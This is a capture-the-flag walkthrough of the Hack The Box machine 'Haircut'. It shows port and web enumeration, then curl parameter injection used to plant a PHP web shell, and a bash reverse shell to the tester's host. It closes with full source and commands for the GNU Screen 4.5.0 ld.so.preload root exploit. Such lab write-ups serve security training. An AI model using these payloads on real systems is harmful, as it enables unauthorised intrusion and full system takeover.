HTB: Haircut
Haircut starts with web enumeration where we will find a PHP site executing curl.
We will use parameter injection to get a webshell and command execution.
For root we will exploit a vulnerable versino of screen.
Recon
⌗
Nmap⌗
Nmap finds two open ports:
❯ nmap -p- -sS --min-rate 5000 --open -v -n -Pn 10.129.95.174 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 11:11 -05
Initiating SYN Stealth Scan at 11:11
Scanning 10.129.95.174 [65535 ports]
Discovered open port 22/tcp on 10.129.95.174
Discovered open port 80/tcp on 10.129.95.174
Completed SYN Stealth Scan at 11:11, 16.14s elapsed (65535 total ports)
Nmap scan report for 10.129.95.174
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.32 seconds
Raw packets sent: 79153 (3.483MB) | Rcvd: 79075 (3.163MB)
With parameters -sCV we can find the service and version running for each port:
❯ nmap -sCV -p22,80 10.129.95.174 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 11:13 -05
Nmap scan report for 10.129.95.174
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
|_http-server-header: nginx/1.10.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.61 seconds
HTTP server⌗
We don’t have creds for SSH so let’s take a look to the webserver:
There isn’t anything going on here so let’s fuzz:
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.95.174/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.95.174/FUZZ
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000151: 301 7 L 13 W 194 Ch "uploads"
There’s an /uploads route but we get a 403 Forbidden. We can also fuzz for PHP files:
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.95.174/FUZZ.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.95.174/FUZZ.php
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000025044: 200 19 L 41 W 446 Ch "exposed"
exposed.php exists:
It looks like it’s executing curl because of the verbose we see, if we were to put -s parameter we should not see it anymore:
Now let’s try some injections to breakout from the command:
The input is sanitized so we cannot execute commands along the curl, but we previously saw that we can use curl parameters like -s.
Writting webshell⌗
We can take advantage of this with the -o parameter of curl, which allow us to write the output to a file. We can try to write files to the /uploads route we found previously.
I will test this by trying to write a test.txt to /var/www/html/uploads/:
http://10.10.14.161/test.txt -o /var/www/html/uploads/test.txt
It works! As the website works interpretes PHP we can upload a web shell in PHP and get command execution:
<?php
system($_REQUEST['cmd']);
?>
Executing commands⌗
This script will request the parameter cmd as the command to execute:
Perfect, now we can get a reverse shell with bash with this payload:
bash -c 'bash -i >& /dev/tcp/10.10.14.161/334 0>&1'
As we are going to send this over the URL we have to url-encode the & as %26:
❯ nc -lvnp 334
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.95.174.
Ncat: Connection from 10.129.95.174:44958.
bash: cannot set terminal process group (1253): Inappropriate ioctl for device
bash: no job control in this shell
www-data@haircut:~/html/uploads$
Nice, now let’s turn this shell into an interactive tty:
www-data@haircut:~/html/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@haircut:~/html/uploads$ ^Z
zsh: suspended nc -lvnp 334
❯ stty raw -echo; fg
[1] + continued nc -lvnp 334
reset xterm
And finally set the terminal and shell type and the screen size:
www-data@haircut:~/html/uploads$ export TERM=xterm
www-data@haircut:~/html/uploads$ export SHELL=bash
www-data@haircut:~/html/uploads$ stty rows 40 columns 145
Now we can see the user.txt inside maria’s home directory:
www-data@haircut:/home/maria$ cat user.txt
dad423ad0da3c*******************
Privesc
⌗
Enumeration⌗
I will start by enumerating the SUID binaries inside the system:
www-data@haircut:/$ find \-perm -4000 2>/dev/null
./bin/ntfs-3g
./bin/ping6
./bin/fusermount
./bin/su
./bin/mount
./bin/ping
./bin/umount
./usr/bin/sudo
./usr/bin/pkexec
./usr/bin/newuidmap
./usr/bin/newgrp
./usr/bin/newgidmap
./usr/bin/gpasswd
./usr/bin/at
./usr/bin/passwd
./usr/bin/screen-4.5.0
./usr/bin/chsh
./usr/bin/chfn
./usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/snapd/snap-confine
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
./usr/lib/policykit-1/polkit-agent-helper-1
Exploiting screen vulnerable version⌗
If you have some experience doing machines you will see that screen-4.5.0 is not a common binary to see, so this calls my attention.
In searchsploit we find an exploit for this version:
❯ searchsploit screen 4.5.0
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | linux/local/41152.txt
--------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
However we will need to do some modifications and compile it locally for it to work.
First we have to create a file libhax.c and compile it:
❯ cat << EOF > libhax.c
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!
");
}
EOF
gcc -fPIC -shared -ldl -o libhax.so libhax.c
Next up a rootshell.c:
❯ cat << EOF > rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o rootshell rootshell.c
Now upload both compiled files to the victim machine and execute the rest of the commands inside the exploit:
www-data@haircut:/tmp$ cd /etc/
www-data@haircut:/etc$ umask 000
www-data@haircut:/etc$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
www-data@haircut:/etc$ screen -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
www-data@haircut:/etc$ /tmp/rootshell
# whoami
root
Amazing exploit, now we can see the root flag:
# cat /root/root.txt
4fd23927c29c4*******************
See you next time!